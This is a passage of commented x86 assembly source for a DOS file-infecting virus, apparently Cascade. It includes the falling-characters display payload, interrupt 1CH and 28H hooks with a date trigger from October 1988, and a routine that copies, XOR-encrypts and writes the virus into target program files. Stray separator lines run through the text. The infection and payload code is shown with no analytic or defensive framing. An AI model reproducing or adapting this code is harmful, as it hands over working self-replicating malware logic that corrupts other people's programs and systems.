MOV CX,000FH ; \ Divide by 15
|
|||
|
DIV CX ; /
|
|||
|
MOV LOOPCT,AX ; Save timed loop count
|
|||
|
RET
|
|||
|
|
|||
|
TIM040: DEC CX ; Set to minus one
|
|||
|
JMP SHORT TIM030
|
|||
|
|
|||
|
; Cascade display routine
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
DISPLY: MOV NUMROW,18H ; Number of display rows
|
|||
|
PUSH DS
|
|||
|
MOV AX,0040H ; \ Set DS to system RAM
|
|||
|
MOV DS,AX ; /
|
|||
|
ASSUME DS:RAM
|
|||
|
MOV AX,BW044E ; VDU display start address
|
|||
|
POP DS
|
|||
|
ASSUME DS:CODE
|
|||
|
MOV VDURAM,AX ; Save VDU display start address
|
|||
|
MOV DL,0FFH
|
|||
|
MOV AX,1130H ; Get character generator information
|
|||
|
MOV BH,0 ; Int 1FH vector
|
|||
|
PUSH ES
|
|||
|
PUSH BP
|
|||
|
INT 10H ; VDU I/O
|
|||
|
POP BP
|
|||
|
POP ES
|
|||
|
CMP DL,0FFH ; Is register unchanged?
|
|||
|
JE DSP010 ; Branch if yes
|
|||
|
MOV NUMROW,DL ; Number of display rows (EGA)
|
|||
|
DSP010: MOV AH,0FH ; Get VDU parameters
|
|||
|
INT 10H ; VDU I/O
|
|||
|
MOV NUMCOL,AH ; Save number of columns
|
|||
|
MOV C80_SW,0 ; Set off 80 column text switch
|
|||
|
MOV RAM_SG,0B000H ; Video RAM segment - Mono
|
|||
|
CMP AL,7 ; Mode 7?
|
|||
|
JE DSP040 ; Branch if yes
|
|||
|
JB DSP020 ; Branch if less
|
|||
|
JMP DSP130 ; Switch off speaker and return
|
|||
|
|
|||
|
DSP020: MOV RAM_SG,0B800H ; Video RAM segment
|
|||
|
CMP AL,3 ; Display mode 3?
|
|||
|
JA DSP040 ; Branch if above
|
|||
|
CMP AL,2 ; Display mode 2?
|
|||
|
JB DSP040 ; Branch if below
|
|||
|
MOV C80_SW,1 ; Set on 80 column text switch
|
|||
|
MOV AL,NUMROW ; Number of display rows
|
|||
|
INC AL ; Number, not offset
|
|||
|
MUL NUMCOL ; Number of visible columns
|
|||
|
MOV NUMPOS,AX ; Save number of display positions
|
|||
|
MOV AX,RANPOS ; Get number of lines to affect
|
|||
|
CMP AX,NUMPOS ; Number of display positions
|
|||
|
JBE DSP030 ; Branch if within range
|
|||
|
MOV AX,NUMPOS ; Get number of display positions
|
|||
|
DSP030: CALL RNDNUM ; Create random number
|
|||
|
INC AX ; Add to random number
|
|||
|
MOV SI,AX ; Use as count
|
|||
|
DSP040: XOR DI,DI ; Set second count to zero
|
|||
|
DSP050: INC DI ; Increment second count
|
|||
|
MOV AX,NUMPOS ; Get number of display positions
|
|||
|
SHL AX,1 ; Multiply by two
|
|||
|
CMP DI,AX ; Has second count reached this?
|
|||
|
JBE DSP060 ; Branch if not
|
|||
|
JMP DSP130 ; Switch off speaker and return
|
|||
|
|
|||
|
DSP060: OR SWITCH,2 ; Set on switch 2
|
|||
|
MOV AL,NUMCOL ; \ Number of visible columns
|
|||
|
MOV AH,0 ; / is upper limit
|
|||
|
CALL RNDNUM ; Create random number
|
|||
|
MOV DL,AL ; Random column number
|
|||
|
MOV AL,NUMROW ; \ Number of display rows
|
|||
|
MOV AH,0 ; / is upper limit
|
|||
|
CALL RNDNUM ; Create random number
|
|||
|
MOV DH,AL ; Random row number
|
|||
|
CALL GETCHA ; Get character and attributes
|
|||
|
CALL IGNORE ; Is character 0, 32 or 255?
|
|||
|
JB DSP050 ; Branch if yes
|
|||
|
CALL GRAPHD ; Is it a graphic display character
|
|||
|
JB DSP050 ; Branch if yes
|
|||
|
MOV CURCHA,AL ; Save current character
|
|||
|
MOV CURATT,AH ; Save current attributes
|
|||
|
MOV CL,NUMROW ; Number of display rows
|
|||
|
MOV CH,0 ; Column zero
|
|||
|
DSP070: INC DH ; Next row
|
|||
|
CMP DH,NUMROW ; Was that the last row?
|
|||
|
JA DSP110 ; Branch if yes
|
|||
|
CALL GETCHA ; Get character and attributes
|
|||
|
CMP AH,CURATT ; Are attributes the same?
|
|||
|
JNE DSP110 ; Branch if not
|
|||
|
CALL IGNORE ; Is character 0, 32 or 255?
|
|||
|
JB DSP090 ; Branch if yes
|
|||
|
DSP080: CALL GRAPHD ; Is it a graphic display character
|
|||
|
JB DSP110 ; Branch if yes
|
|||
|
INC DH ; Next row
|
|||
|
CMP DH,NUMROW ; Was that the last row?
|
|||
|
JA DSP110 ; Branch if yes
|
|||
|
CALL GETCHA ; Get character and attributes
|
|||
|
CMP AH,CURATT ; Are attributes the same?
|
|||
|
JNE DSP110 ; Branch if not
|
|||
|
CALL IGNORE ; Is character 0, 32 or 255?
|
|||
|
JNB DSP080 ; Branch if not
|
|||
|
CALL CH_SND ; Toggle speaker drive
|
|||
|
DEC DH ; Previous row
|
|||
|
CALL GETCHA ; Get character and attributes
|
|||
|
MOV CURCHA,AL ; Save current character
|
|||
|
INC DH ; Next row
|
|||
|
DSP090: AND SWITCH,0FDH ; Set off switch 2
|
|||
|
DEC DH ; Previous row
|
|||
|
MOV AL,20H ; Replace character with space
|
|||
|
CALL STOCHA ; Store character and attributes
|
|||
|
INC DH ; Next row
|
|||
|
MOV AL,CURCHA ; Get current character
|
|||
|
CALL STOCHA ; Store character and attributes
|
|||
|
JCXZ DSP100 ; Branch if end of count
|
|||
|
CALL DELAY ; Delay loop
|
|||
|
DEC CX ; Decrement count
|
|||
|
DSP100: JMP SHORT DSP070
|
|||
|
|
|||
|
DSP110: TEST SWITCH,2 ; Test switch 2
|
|||
|
JZ DSP120 ; Branch if off
|
|||
|
JMP DSP050
|
|||
|
|
|||
|
DSP120: CALL CH_SND ; Toggle speaker drive
|
|||
|
DEC SI ; Subtract from count
|
|||
|
JZ DSP130 ; Switch off speaker and return
|
|||
|
JMP DSP040
|
|||
|
|
|||
|
; Switch off speaker and return
|
|||
|
|
|||
|
DSP130: IN AL,61H ; Get port B
|
|||
|
AND AL,0FCH ; Switch off speaker
|
|||
|
OUT 61H,AL ; Rewrite port B+
|
|||
|
RET
|
|||
|
|
|||
|
; Interrupt 1CH routine
|
|||
|
|
|||
|
ASSUME DS:NOTHING
|
|||
|
INT_1C: TEST SWITCH,9 ; No display or already active?
|
|||
|
JNZ I_1C40 ; Branch if either are on
|
|||
|
OR SWITCH,1 ; Set on Int 1CH active switch
|
|||
|
DEC I1CCNT ; Subtract from Int 1CH count
|
|||
|
JNZ I_1C30 ; Branch if not zero
|
|||
|
PUSH DS
|
|||
|
PUSH ES
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
PUSH CS ; \ Set ES to CS
|
|||
|
POP ES ; /
|
|||
|
ASSUME DS:CODE
|
|||
|
PUSH AX
|
|||
|
PUSH BX
|
|||
|
PUSH CX
|
|||
|
PUSH DX
|
|||
|
PUSH SI
|
|||
|
PUSH DI
|
|||
|
PUSH BP
|
|||
|
MOV AL,20H ; \ Signal end of interrupt
|
|||
|
OUT 20H,AL ; /
|
|||
|
MOV AX,I1CMAX ; Get Int 1CH random no maximum
|
|||
|
CMP AX,0438H ; Is it 1080 or above
|
|||
|
JNB I_1C10 ; Branch if yes
|
|||
|
MOV AX,0438H ; Upper limit - 1080
|
|||
|
I_1C10: CALL RNDNUM ; Create random number
|
|||
|
INC AX ; Add to random number
|
|||
|
MOV I1CCNT,AX ; Reset Int 1CH count
|
|||
|
MOV I1CMAX,AX ; Reset Int 1CH random no maximum
|
|||
|
CALL DISPLY ; Cascade display routine
|
|||
|
MOV AX,3 ; Upper limit - 3
|
|||
|
CALL RNDNUM ; Create random number
|
|||
|
INC AX ; Add to random number
|
|||
|
MUL RANPOS ; Multiply by num of lines to affect
|
|||
|
JNB I_1C20 ; Is result more than a word?
|
|||
|
MOV AX,-1 ; Set to maximum
|
|||
|
I_1C20: MOV RANPOS,AX ; Save number of lines to affect
|
|||
|
POP BP
|
|||
|
POP DI
|
|||
|
POP SI
|
|||
|
POP DX
|
|||
|
POP CX
|
|||
|
POP BX
|
|||
|
POP AX
|
|||
|
POP ES
|
|||
|
POP DS
|
|||
|
ASSUME DS:NOTHING
|
|||
|
I_1C30: AND SWITCH,0FEH ; Set off Int 1CH active switch
|
|||
|
I_1C40: JMP I1CBIO ; Branch to original int 1CH
|
|||
|
|
|||
|
; Interrupt 28H routine
|
|||
|
|
|||
|
INT_28: TEST SWITCH,8 ; Test No display switch
|
|||
|
JZ I_2830 ; Branch if not
|
|||
|
PUSH AX
|
|||
|
PUSH CX
|
|||
|
PUSH DX
|
|||
|
MOV AH,2AH ; Get date function
|
|||
|
INT 21H ; DOS service
|
|||
|
CMP CX,07C4H ; Year 1988?
|
|||
|
JB I_2820 ; Not yet - do nothing
|
|||
|
JA I_2810 ; After 1988
|
|||
|
CMP DH,0AH ; October?
|
|||
|
JB I_2820 ; Not yet - do nothing
|
|||
|
I_2810: AND SWITCH,0F7H ; Set off No display switch
|
|||
|
I_2820: POP DX
|
|||
|
POP CX
|
|||
|
POP AX
|
|||
|
I_2830: JMP I28BIO ; Branch to original int 28H
|
|||
|
|
|||
|
; Copy virus to program
|
|||
|
|
|||
|
CPYVIR: PUSH ES
|
|||
|
PUSH BX
|
|||
|
MOV AH,48H ; Allocate memory function
|
|||
|
MOV BX,006BH ; Length of virus
|
|||
|
INT 21H ; DOS service
|
|||
|
POP BX
|
|||
|
JNB CPY020 ; Branch if no error
|
|||
|
CPY010: STC
|
|||
|
POP ES
|
|||
|
RET
|
|||
|
|
|||
|
CPY020: MOV DB0100,1 ; Set encryption indicator
|
|||
|
MOV ES,AX ; Set target segment to allocated
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
ASSUME DS:CODE
|
|||
|
XOR DI,DI ; Start of allocated
|
|||
|
MOV SI,OFFSET DB0100 ; Start of virus
|
|||
|
MOV CX,VIRLEN ; Length of virus
|
|||
|
CLD
|
|||
|
REPZ MOVSB ; Copy virus
|
|||
|
MOV DI,0023H ; Start of area to encrypt
|
|||
|
MOV SI,OFFSET BP0030 ; Address of area
|
|||
|
ADD SI,F_SIZ1 ; Length of target file
|
|||
|
MOV CX,OFFSET ENDADR-BP0030 ; Length to encrypt
|
|||
|
CPY030: XOR ES:[DI],SI ; \ Encrypt
|
|||
|
XOR ES:[DI],CX ; /
|
|||
|
INC DI ; \ Next address
|
|||
|
INC SI ; /
|
|||
|
LOOP CPY030 ; Repeat for all area
|
|||
|
MOV DS,AX ; Allocated area segment
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
XOR DX,DX ; From start
|
|||
|
MOV CX,VIRLEN ; Length of virus
|
|||
|
INT 21H ; DOS service
|
|||
|
PUSHF
|
|||
|
PUSH AX
|
|||
|
MOV AH,49H ; Free allocated memory function
|
|||
|
INT 21H ; DOS service
|
|||
|
POP AX
|
|||
|
POPF
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
JB CPY010 ; Branch if error
|
|||
|
CMP AX,CX ; Correct length written?
|
|||
|
JNE CPY010 ; Branch if error
|
|||
|
POP ES
|
|||
|
CLC
|
|||
|
CPY040: RET
|
|||
|
|
|||
|
ENDADR EQU $
|
|||
|
|
|||
|
CODE ENDS
|
|||
|
|
|||
|
END START
|
|||
|
|